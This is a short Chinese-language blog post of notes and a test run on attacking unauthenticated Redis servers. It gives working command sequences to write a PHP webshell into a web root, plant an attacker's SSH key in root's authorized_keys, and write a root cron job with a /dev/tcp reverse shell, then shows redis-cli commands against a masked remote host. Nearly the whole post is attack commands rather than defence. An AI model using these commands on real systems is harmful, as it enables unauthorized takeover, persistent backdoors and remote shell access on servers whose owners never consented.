偶然发现某大佬博客说了一下Redis的漏洞,便整理了一下笔记,并做了实战测试
0x00 笔记
1.写入webshell dir=绝对路径 dbfilename="1.php" 2.写入ssh公钥匙 本机生成公钥 sshssh-keygen -t rsa -C "[email protected]" dir=/root/.ssh/ dbfilename=authorized_keys \n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH [email protected]\n\n\n\n 3.写入定时任务,反弹shell dir=/var/spool/cron dbfilename=root set crack "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
________________________________________
0x01 实战测试
使用redisk客户端链接远程主机6379端口
redis-cli -h xxx.xxx.xxx.xxx -p 6379
IP打码了(这码打得不错吧)
拿WEBSHELL过程:
config set dir 网站绝对路径 config set dbfilename info.php //设置info.php为备份文件 set web '' //写入一句话到info.php save //保存,然后即可通过菜刀url链接info.php即可
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er